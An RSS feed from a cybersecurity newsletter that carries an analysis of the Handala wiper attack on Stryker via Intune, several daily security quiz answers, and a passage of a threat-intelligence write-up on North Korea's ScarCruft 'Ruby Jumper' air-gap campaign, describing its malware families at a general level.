<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Cyber++]]></title><description><![CDATA[Everything about the current cyber-security landscape. ]]></description><link>https://emilianocybersec.substack.com</link><image><url>https://substackcdn.com/image/fetch/$s_!NHpj!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8818be53-21cf-4df5-983d-13d9ffd975df_1280x1280.png</url><title>Cyber++</title><link>https://emilianocybersec.substack.com</link></image><generator>Substack</generator><lastBuildDate>Mon, 15 Jun 2026 12:30:06 GMT</lastBuildDate><atom:link href="https://emilianocybersec.substack.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Emiliano L. Compassi]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[emilianocybersec@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[emilianocybersec@substack.com]]></itunes:email><itunes:name><![CDATA[Emiliano L. Compassi]]></itunes:name></itunes:owner><itunes:author><![CDATA[Emiliano L. Compassi]]></itunes:author><googleplay:owner><![CDATA[emilianocybersec@substack.com]]></googleplay:owner><googleplay:email><![CDATA[emilianocybersec@substack.com]]></googleplay:email><googleplay:author><![CDATA[Emiliano L. Compassi]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Handala Wiped 200,000 Stryker Devices. They Didn't Need Malware. ]]></title><description><![CDATA[Everything about the current cyber-security landscape.]]></description><link>https://emilianocybersec.substack.com/p/handala-wiped-200000-stryker-devices</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/handala-wiped-200000-stryker-devices</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Fri, 13 Mar 2026 17:04:37 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/370ca632-9e3f-465f-ae79-a55c4b0e1989_1960x1308.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On March 11, 2026, employees at Stryker offices worldwide came in to find their devices wiped. More than 5,000 workers at the company&#8217;s largest non-US hub in Cork, Ireland were sent home. The voicemail at Stryker&#8217;s Michigan headquarters told callers the company was experiencing a building emergency.</p><p>Stryker makes surgical instruments, orthopedic implants, robotic surgery systems, and hospital equipment used by around 150 million patients a year across 61 countries. It reported $25 billion in revenue last year. This was not a small target hit by accident.</p><p>The group claiming responsibility is Handala, assessed by Palo Alto Networks as a front for Void Manticore, a threat actor affiliated with Iran&#8217;s Ministry of Intelligence and Security. They said the attack was retaliation for a US missile strike on a girls&#8217; school in Minab, Iran, that killed more than 175 people, most of them children.</p><h2><strong>The attack vector</strong></h2><p>Stryker&#8217;s statement said there was no ransomware or malware and the incident was contained to its Microsoft environment. That is a careful choice of words. Wiper attacks carried out through a legitimate management platform do not involve malware in the traditional sense but they are still destructive attacks.</p><p>Rafe Pilling, Director of Threat Intelligence at Sophos, <a href="https://www.nbcnews.com/world/iran/iran-appears-conducted-significant-cyberattack-us-company-first-war-st-rcna263084">assessed that Handala likely obtained access to Stryker&#8217;s Microsoft Intune console</a>; the MDM platform Stryker uses to manage its global device fleet. Intune has a remote wipe feature built in for lost or stolen devices. Handala appears to have triggered it at scale across enrolled endpoints.</p><p>If that holds, the attackers did not need a custom implant or an exploit chain. They needed credentials to the right console. Everything after that was a built-in feature doing what it was designed to do.</p><h2><strong>Why a wiper is worse than ransomware</strong></h2><p>With ransomware, there is at least a negotiation. Files are encrypted, not gone, and organisations with working backups can often recover without paying. A wiper has no such dynamic, the data is destroyed and there is nothing to negotiate over. The disruption is the point.</p><p>Handala also claimed to have exfiltrated 50 terabytes of data before triggering the wipe. If true, they were collected first and destroyed after, which means Stryker&#8217;s recovery does not undo the breach, it just addresses the operational damage.</p><p>The patient-facing impact was real. <a href="https://www.cnn.com/2026/03/11/politics/pro-iran-hackers-cyberattack-medical-device-maker">Maryland&#8217;s Institute for Emergency Medical Services reported Stryker&#8217;s Lifenet ECG transmission system was non-functional across most of the state</a>, pushing paramedics back to verbal radio reports. HHS opened an investigation. Hospitals started evaluating whether to disconnect Stryker equipment from their networks.</p><h2><strong>The management plane problem</strong></h2><p>MDM platforms like Intune exist to give IT teams centralised control over every enrolled device in an organisation push updates, enforce policies, remotely wipe hardware reported lost or stolen. At scale, that means one admin account with the right permissions can affect every endpoint on the tenant simultaneously, with no lateral movement required.</p><p>This is not a new attack surface. MDM abuse has come up before in enterprise intrusions. But Stryker is the clearest large-scale example of what it looks like when it is weaponised deliberately, at a global company, during an active geopolitical conflict. The same tooling that makes fleet management efficient is what made 200,000 devices erasable in a single operation.</p><h2><strong>Who is Handala</strong></h2><p>Handala emerged in late 2023 targeting Israeli organisations and has been active throughout the Gaza conflict. <a href="https://krebsonsecurity.com/2026/03/iran-backed-hackers-claim-wiper-attack-on-medtech-firm-stryker/">Palo Alto Networks links it to Void Manticore, a MOIS-affiliated actor</a>, with a history of phishing, data theft, wiper attacks, and psychological operations including officer doxxing and fabricated leak narratives.</p><p>The group routinely overstates the scale of its operations, so the 200,000 device figure and 50 TB exfil claim should be treated with some scepticism until independently verified. What is confirmed is that Stryker systems in multiple countries were wiped and showing Handala&#8217;s logo, the Wall Street Journal and NBC News both corroborated that much.</p><p>Handala also claimed a simultaneous attack on Verifone the same day. Verifone denied any disruption. Worth noting, but the Stryker operation is the one with visible impact.</p><h2><strong>Context</strong></h2><p>The US-Israel military campaign against Iran began on February 28, 2026. In the weeks following, Iranian-linked groups were mostly quiet on US targets, <a href="https://www.cnn.com/2026/03/11/politics/pro-iran-hackers-cyberattack-medical-device-maker">Proofpoint tracked only one attempted intrusion, against a US think tank, in that entire period</a>. The Stryker attack is the first significant destructive operation against a US company since the conflict began.</p><p>The IRGC this week named US and Israeli-linked banks and economic infrastructure as legitimate targets. <a href="https://www.aljazeera.com/news/2026/3/11/iran-linked-hackers-hit-medical-giant-stryker-in-retaliatory-cyberattack">State-affiliated Iranian media published a list of US tech firms (Google, Microsoft, Nvidia) framing their regional infrastructure as targets</a>. Those are statements of intent, not confirmed operations. But the Stryker attack shows the capability is there.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/p/handala-wiped-200000-stryker-devices?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/p/handala-wiped-200000-stryker-devices?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p><h2><strong>Technical summary</strong></h2><p>Actor:             Handala (Void Manticore persona, MOIS-affiliated)</p><p>Target:            Stryker Corporation (NYSE: SYK), Kalamazoo, Michigan</p><p>Date:              March 11, 2026</p><p>Attack type:       Destructive wipe, not ransomware</p><p>Claimed scope:     200,000+ systems, servers, mobile devices across 79 countries</p><p>Claimed exfil:     50 TB</p><p>Suspected vector:  Microsoft Intune MDM console (privileged credential access)</p><p>No custom malware: Remote wipe issued via native platform functionality</p><p>Patient impact:    Lifenet ECG system down in Maryland; HHS investigating</p><p>Motive:            Retaliation for Minab school missile strike (175+ killed)</p><h2><strong>What this tells us</strong></h2><p>If the Intune vector is confirmed, this attack did not require much. Stolen credentials, access to the right console, and a feature that ships with the product. Stryker is a $25 billion company with a global security team, and it still ended up with 5,000 people sent home and ECG systems down across Maryland. That gap between the effort required and the damage done is what makes this worth paying attention to beyond the Iran angle.</p><p>Every organisation running Microsoft 365 at scale has the same exposure. The Intune console is typically protected like any other admin interface, but the consequences of losing it are closer to losing your entire endpoint fleet than losing a single server. Most security programmes have not caught up to that reality.</p><p>Stryker will recover operationally. Devices get re-enrolled, systems get rebuilt. But 50 TB of data, if it was actually taken, is not coming back. Whatever was in there is now with whoever Handala answers to. That part of the incident does not have a remediation plan.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><p><strong>Sources</strong></p><ol><li><p><a href="https://krebsonsecurity.com/2026/03/iran-backed-hackers-claim-wiper-attack-on-medtech-firm-stryker/">Krebs on Security  Iran-Backed Hackers Claim Wiper Attack on Medtech Firm Stryker</a></p></li><li><p><a href="https://www.nbcnews.com/world/iran/iran-appears-conducted-significant-cyberattack-us-company-first-war-st-rcna263084">NBC News  Iran appears to have conducted a significant cyberattack against a US company</a></p></li><li><p><a href="https://techcrunch.com/2026/03/11/stryker-hack-pro-iran-hacktivist-group-handala-says-it-is-behind-attack/">TechCrunch  Pro-Iran hacktivist group says it is behind attack on medical tech giant Stryker</a></p></li><li><p><a href="https://www.securityweek.com/medtech-giant-stryker-crippled-by-iran-linked-hacker-attack/">SecurityWeek  MedTech Giant Stryker Crippled by Iran-Linked Hacker Attack</a></p></li><li><p><a href="https://www.itsecurityguru.org/2026/03/13/iran-linked-hacktivists-claim-destructive-cyberattack-on-medtech-firm-stryker/">IT Security Guru  Iran-Linked Hacktivists Claim Destructive Cyberattack on Medtech Firm Stryker</a></p></li><li><p><a href="https://www.cnn.com/2026/03/11/politics/pro-iran-hackers-cyberattack-medical-device-maker">CNN  Pro-Iran hackers claim cyberattack on major US medical device maker</a></p></li><li><p><a href="https://www.aljazeera.com/news/2026/3/11/iran-linked-hackers-hit-medical-giant-stryker-in-retaliatory-cyberattack">Al Jazeera  Iran-linked hackers hit medical giant Stryker in retaliatory cyberattack</a></p></li><li><p><a href="https://time.com/article/2026/03/12/iran-linked-cyberattack-us-company-stryker/">TIME Iran-Linked Hackers Claim Cyberattack on U.S. Company</a></p></li></ol>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answers revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-411</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-411</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Tue, 10 Mar 2026 09:31:05 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/34276c16-dc4d-4d20-bd74-98da64190eaf_1928x1340.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:470270}" data-component-name="PollToDOM"></div><p></p><p>Yesterdays answer: DDoS (Distributed Denial of Service)</p><p>overwhelms servers with traffic from a botnet.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answers revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-d01</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-d01</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Mon, 09 Mar 2026 08:32:25 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/774e710e-0add-424f-985c-664b4231ef14_1928x1340.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:470266}" data-component-name="PollToDOM"></div><p>Yesterdays Answer: SLA (Service Level Agreement)</p><p>A formal contract between service provider and a customer that defines the expected level of service including specific metric for uptime, performance targets, and penalties for non-compliance.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><br></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-0e7</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-0e7</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Sat, 07 Mar 2026 18:12:49 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/186a7092-9f26-4952-abf9-048e780b195f_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:469452}" data-component-name="PollToDOM"></div><p>Yesterdays answer: Sender&#8217;s public key</p><ul><li><p>The sender signs with their <strong>private key</strong> (which only they know).</p></li><li><p>Anyone can verify that signature using the sender&#8217;s <strong>public key</strong> (which everyone can see).</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-0db</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-0db</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Fri, 06 Mar 2026 14:02:53 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/2b61b488-c955-46fa-b927-30917b877cd1_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:463473}" data-component-name="PollToDOM"></div><p>Yesterdays answer: <strong>Data protection</strong>.</p><p>GDPR stands for <strong>General Data Protection Regulation</strong>. It is a comprehensive legal framework enacted by the European Union (EU) that governs how the personal data of individuals is collected, processed, and stored.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-16c</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-16c</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Thu, 05 Mar 2026 14:02:57 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/49d5dbd5-80fe-4964-a0b1-ed0365cf10c2_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:463467}" data-component-name="PollToDOM"></div><p></p><p>Yesterdays answer: <strong>Filter</strong></p><p>A firewall primarily acts as a&nbsp;<strong>filter</strong>&nbsp;for network traffic, monitoring and controlling the flow of data according to a set of predetermined security rules.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-187</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-187</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Wed, 04 Mar 2026 14:01:59 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f4ba4d69-2084-45c0-b99c-a6daaa8299ee_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:463464}" data-component-name="PollToDOM"></div><p>Yesterdays answer: <strong>Rainbow table attack</strong>.</p><p>A rainbow table attack uses <strong>precomputed tables</strong> of hash values to quickly reverse-engineer plaintext passwords from their hashed counterparts.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-c9a</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-c9a</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Tue, 03 Mar 2026 14:03:03 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b49dd5fc-4bfa-4d62-8f68-ca5397784947_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:463462}" data-component-name="PollToDOM"></div><p>Yesterdays answer: Hashing.</p><p>Hashing checks data integrity <strong>by comparing a newly calculated hash of a file or message against a trusted "original" hash</strong>.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-261</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-261</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Mon, 02 Mar 2026 14:03:03 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/88c6c944-4e3b-437a-88b6-76d7f9da3ff6_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453843}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: Illicit Consent Grant</p><ul><li><p>An Illicit COnsent Grant involves an attacker creating an Azure AD-registered application and tricking users into granting it permissions to access their data. This grants the attacker persistent access to the organization&#8217;s data without needing to compromise user credentials.</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Ruby Jumper: How North Korea's ScarCruft Is Bridging the Air Gap]]></title><description><![CDATA[ScarCruft's latest campaign deploys six malware families, abuses Zoho WorkDrive as a covert C2 channel, and weaponises USB drives to reach systems that were never supposed to touch the internet.]]></description><link>https://emilianocybersec.substack.com/p/ruby-jumper-how-north-koreas-scarcruft</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/ruby-jumper-how-north-koreas-scarcruft</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Sun, 01 Mar 2026 21:17:15 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/bfa21ee3-8468-4abe-ac2c-fb3a11786db3_2506x1274.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Air-gapped networks are not supposed to be reachable from the open internet. That is their entire purpose: physical separation from any network an attacker might use to deliver malware, exfiltrate data, or issue commands. For the most sensitive systems in government, defence, and critical infrastructure, the air gap is the last line of defence when everything else fails.</p><p>ScarCruft, the North Korean state-sponsored threat actor also tracked as APT37, has spent years trying to cross that line. Their latest campaign, codenamed Ruby Jumper by Zscaler ThreatLabz, which they discovered in December 2025, represents their most sophisticated attempt yet. It deploys six distinct malware families in a coordinated infection chain, abuses legitimate cloud storage services as a covert command-and-control infrastructure, and uses infected USB drives as a physical data relay to bridge the gap between internet-connected machines and isolated networks.</p><p>This is not a theoretical concern. Ruby Jumper appears to have been in active development and deployment for some time, and the tooling it brings to bear is mature, modular, and clearly purpose-built for long-term surveillance of high-value targets.</p><h2><strong>Who Is ScarCruft?</strong></h2><p>ScarCruft is a North Korean advanced persistent threat group with a long track record of targeting South Korean government entities, diplomatic organisations, military contractors, and journalists covering North Korean affairs. The group has been active since at least 2012 and is widely believed to operate under the direction of North Korea&#8217;s Reconnaissance General Bureau.</p><p>Their previous campaigns have demonstrated a consistent interest in long-term surveillance rather than destructive attacks. ScarCruft is a collection operation that requires persistent, quiet access to targets and the ability to exfiltrate intelligence without triggering alarms. That operational philosophy is evident throughout the Ruby Jumper toolset.</p><p>The group has a history of abusing legitimate cloud infrastructure for C2. BLUELIGHT, one of their older backdoors, has been active since at least 2021 and has previously been observed using Google Drive, Microsoft OneDrive, pCloud, and BackBlaze to receive commands and upload stolen data. By routing malicious traffic through services that organisations trust and whitelist, ScarCruft makes network-layer detection significantly harder. Ruby Jumper extends this approach by adding Zoho WorkDrive to the roster the first time the group is observed abusing that platform.</p><p></p><h2><strong>The Infection Chain: Six Malware Families in One Campaign</strong></h2><p>Ruby Jumper is not a single piece of malware. It is a coordinated infection chain with distinct stages, each handled by a different implant. The modular design means that losing one component does not necessarily compromise the entire operation, and it complicates attribution and defensive response.</p><p>The chain begins with a malicious LNK file, a Windows shortcut, used as the initial delivery mechanism. When a victim opens the file, it executes a PowerShell command that scans the current directory to locate itself based on file size. This self-referential technique allows the malware to carve multiple embedded payloads from fixed offsets within the LNK file itself, without writing obvious dropper binaries to disk first.</p><p>From that single LNK, the following are extracted and executed in sequence: a decoy document, a Windows executable payload, an additional PowerShell script, and a batch file. The decoy document deserves particular attention in at least one observed instance, as it displays an Arabic-language translation of an article from a North Korean newspaper about the Palestine-Israel conflict. This is a classic ScarCruft lure pattern: the document is plausible, topically relevant to a Middle Eastern or diplomatic audience, and designed to keep the victim occupied while the malicious chain executes in the background.</p><p></p><blockquote><p><em>&#8220;Most critically, THUMBSBD and VIRUSTASK weaponise removable media to bypass network isolation and infect air-gapped systems.&#8221;</em></p><p><em>-Zscaler ThreatLabz researcher Seongsu Park</em></p></blockquote><p></p><p><strong>Stage One: RESTLEAF and the Zoho WorkDrive C2</strong></p><p>The first executable payload to be deployed is RESTLEAF, a Windows implant that is spawned directly in memory and never written to disk as a standalone executable, helping it evade file-based detection. RESTLEAF&#8217;s primary function is to establish C2 communications, and it does so using Zoho WorkDrive.</p><p>The authentication mechanism is straightforward: RESTLEAF carries a hardcoded Zoho WorkDrive access token. Once authenticated, it polls the WorkDrive for shellcode payloads, downloads them, and executes them via <em>process injection,</em> injecting the shellcode into a legitimate running process to further reduce its forensic footprint. This marks the first documented instance of ScarCruft abusing Zoho WorkDrive infrastructure. The choice is deliberate: Zoho WorkDrive is a legitimate, widely used enterprise cloud storage service, and HTTPS traffic to its domains will blend into normal corporate network activity with minimal chance of triggering alerts.</p><p><strong>Stage Two: SNAKEDROPPER and the Ruby Runtime</strong></p><p>The shellcode delivered by RESTLEAF loads SNAKEDROPPER, which handles the campaign&#8217;s most unusual infrastructure decision: it installs a complete, self-contained Ruby runtime on the victim machine.</p><p>Why Ruby? The choice appears deliberate, an act of obfuscation through obscurity. The subsequent malware components, THUMBSBD and VIRUSTASK, are deployed as disguised Ruby files. An endpoint detection tool that flags unknown executables but ignores what appears to be a legitimately installed Ruby environment and its associated .rb files might miss the next stage entirely.</p><p>SNAKEDROPPER also establishes persistence via a scheduled task, ensuring the malware survives reboots, and drops the two critical air-gap bridging components: THUMBSBD and VIRUSTASK.</p><p><strong>Stage Three: THUMBSBD The Bridge</strong></p><p>THUMBSBD is the operational centrepiece of the Ruby Jumper campaign. It is disguised as a Ruby file, monitors for the insertion of removable media (USB drives, external hard disks), and uses them to create a physical relay between the infected internet-connected machine and any air-gapped system that subsequently plugs in the same drive.</p><p>When removable media is detected, THUMBSBD creates a hidden folder on the drive and uses it in two directions: it stages operator-issued commands for execution on air-gapped machines, and it stores the output from those commands for exfiltration when the drive is later reconnected to an internet-connected host.</p><p>The full capability set of THUMBSBD includes: harvesting system information, downloading secondary payloads from remote servers, exfiltrating files, and executing arbitrary commands. It is also responsible for delivering two further implants: FOOTWINE (the surveillance payload) and the resurrected BLUELIGHT backdoor.</p><p><strong>Stage Four: VIRUSTASK The Spreader</strong></p><p>VIRUSTASK performs a complementary but distinct function to THUMBSBD. Where THUMBSBD handles command execution and data exfiltration, VIRUSTASK focuses exclusively on propagation; it weaponises removable media to achieve initial access on air-gapped systems that have not yet been infected.</p><p>The architectural separation is significant. By dividing propagation from operational command-and-control into two distinct implants, ScarCruft reduces the risk of a single detection event compromising the entire operation. If VIRUSTASK is detected and removed from a USB drive before it reaches an air-gapped target, the existing THUMBSBD infrastructure on internet-connected machines remains intact.</p><p><strong>Stage Five: FOOTWINE The Surveillance Payload</strong></p><p>FOOTWINE is the implant that does the actual spying. Delivered by THUMBSBD as an encrypted payload with an integrated shellcode launcher, it provides the operator with comprehensive surveillance capabilities: keylogging, audio capture, and video capture.</p><p>Unlike the cloud-based C2 used by other components in the chain, FOOTWINE communicates with its own C2 server via a custom binary protocol over TCP, a choice that prioritises reliability and control over the traffic-blending benefits of abusing cloud storage.</p><p>The command set supported by FOOTWINE is extensive and worth documenting in full, as it illustrates the breadth of access an operator achieves once FOOTWINE is running on a target:</p><ul><li><p><strong>sm: </strong>Interactive command shell execution</p></li><li><p><strong>fm: </strong>File and directory manipulation</p></li><li><p><strong>gm: </strong>Plugin and configuration management</p></li><li><p><strong>rm: </strong>Windows Registry modification</p></li><li><p><strong>pm: </strong>Running process enumeration</p></li><li><p><strong>dm: </strong>Screenshot capture and keystroke logging</p></li><li><p><strong>cm: </strong>Audio and video surveillance</p></li><li><p><strong>s_d: </strong>Batch script execution (saves to %TEMP% and runs)</p></li><li><p><strong>pxm: </strong>Proxy connection setup and bidirectional traffic relay</p></li><li><p><strong>[filepath]: </strong>Arbitrary DLL loading via filepath</p></li></ul><p>The proxy relay capability (pxm) is particularly notable, as it allows the operator to route traffic through the infected machine, potentially using it as a pivot point into the wider network.</p><p><strong>Stage Six: BLUELIGHT Returns</strong></p><p>Rounding out the toolset is BLUELIGHT, a ScarCruft backdoor that has been in active use since at least 2021. Its continued deployment in Ruby Jumper demonstrates that ScarCruft recycles proven tooling rather than retiring it, updating supporting infrastructure while keeping reliable implants in rotation.</p><p>BLUELIGHT uses legitimate cloud providers such as Google Drive, Microsoft OneDrive, pCloud, and BackBlaze for C2 communications, running arbitrary commands, enumerating file systems, downloading payloads, uploading files, and self-deleting when required. Like the rest of the chain, its use of trusted cloud services is specifically designed to make network-layer detection impractical.</p><h2><strong>Why This Campaign Matters</strong></h2><p><strong>The Cloud C2 Problem Has No Easy Fix</strong></p><p>The most uncomfortable aspect of Ruby Jumper is that its central evasion strategy, routing C2 traffic through legitimate cloud services, is genuinely difficult to defend against at scale.</p><p>Organisations cannot simply block Zoho WorkDrive, Google Drive, OneDrive, pCloud, and BackBlaze. These are services that employees use legitimately every day. Any block would be disruptive and is likely to result in workarounds (personal hotspots, personal devices) that create worse security outcomes than the threat they were trying to address.</p><p>The more realistic defensive approaches involve behavioural detection, looking for unusual processes that 